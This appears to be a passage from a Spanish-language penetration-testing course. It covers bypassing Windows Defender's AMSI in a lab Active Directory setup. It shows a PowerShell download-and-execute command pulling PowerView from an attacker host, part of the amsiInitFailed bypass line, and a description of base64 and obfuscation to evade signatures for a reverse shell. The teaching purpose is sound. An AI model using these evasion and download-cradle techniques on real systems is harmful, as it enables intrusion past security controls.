Si en vez de pasarle un binario, lo que queremos es que ejecute un script de PowerShell por ejemplo, podremos hacerlo de tal forma que no salte el antivirus y poder crearnos nuestra reverse shell.
Si nos vamos a la suite de powersploit como hemos comentado en temas anteriores:
Tendremos diferentes scripts que podremos encontrarnos en esa ruta que nos marca para poder realizar lo que comentaba anteriormente.
cd /usr/share/windows-resources/powersploit
Pero el que nos interesa esta en Recon/Powervire.ps1 como vimos anteriormente en temas anteriores en Active Directory.
Vamos a encender nuestra maquina DC01 y ahora vamos a irnos a la maquina WS02 abriremos un PowerShell y ejecutaremos el siguiente comando para que coja el .ps1 y lo ejecute seguidamente.
IEX : En línea: 1 Carácter: 1
+ #requires -version 2
+ ~~~~~~~~~~~~~~~~~~~~
Este script contiene elementos malintencionados y ha sido bloqueado por el software antivirus.
En línea: 1 Carácter: 1
+ IEX (New-Object Net.WebClient).DownloadString("http://192.168.5.205/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Vemos que nos pone que puede ser un malware por lo que nos lo esta bloqueando nuestro antivirus, ya que por lo menos el antivirus de Microsoft tiene un modulo llamado amsi el cual parchea esas firmas maliciosas y bloquea la ejecuccion o el binario que contiene dentro de ese modulo.
Para poder Bypassear este tipo de firmas y que el antivirus no lo detecte tendremos que estar muy al dia para poder ver las nuevas vulnerabilidades que puede salir para poder bypassear esto, ya que cuando salgan dichas vulnerabilidades Microsoft u otras empresas pondran el parche de las mismas, por lo que tendremos un tiempo reducido para aprovecharlas, pero hay una pagina con una tecnica que presento un investigador llamado Matt Graeber que es la siguiente:
El investigador se dio cuenta de que si en el codigo a ejecutar en PowerShell contenia la palabra amsiInitFailed en true no cargaba el analizador de firmas de Windows Defender y no lo escaneaba, por lo que bypassearia esas confirmaciones de firmas del modulo de amsi.
Por lo que se podria ejecutar cualquier script sin que fuera detectado por el Windows Defender.
En versiones anteriores de Windows funciona, pero como esta vulnerabilidad salio muy famosa, ya esta bloqueado en versiones mas actuales, ya que si lo intentamos ejecutar pondria lo siguiente:
En línea: 1 Carácter: 1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetF ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Este script contiene elementos malintencionados y ha sido bloqueado por el software antivirus.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
Pero vino otro investigador y dio la solucion de en vez de poner todo ese comando en texto plano, codificarlo en base64 de la siguiente forma:
Esto a dia de hoy funciona, en tal caso de que lo siguiera bloqueando se puede ofuscar un poco mas el codigo para poder bypassear dicha firma que se pueda ejecutar esto mismo.
Lo que hace esto es que cada vez que le damos a generar nos genera el mismo comando anterior pero de forma ofuscada, pero va cambiando la forma de ofuscarlo cada vez que pulsamos, por lo que podremos bypassear esa firma de windows, por ejemplo si le damos una vez a generar a mi me genero este codigo: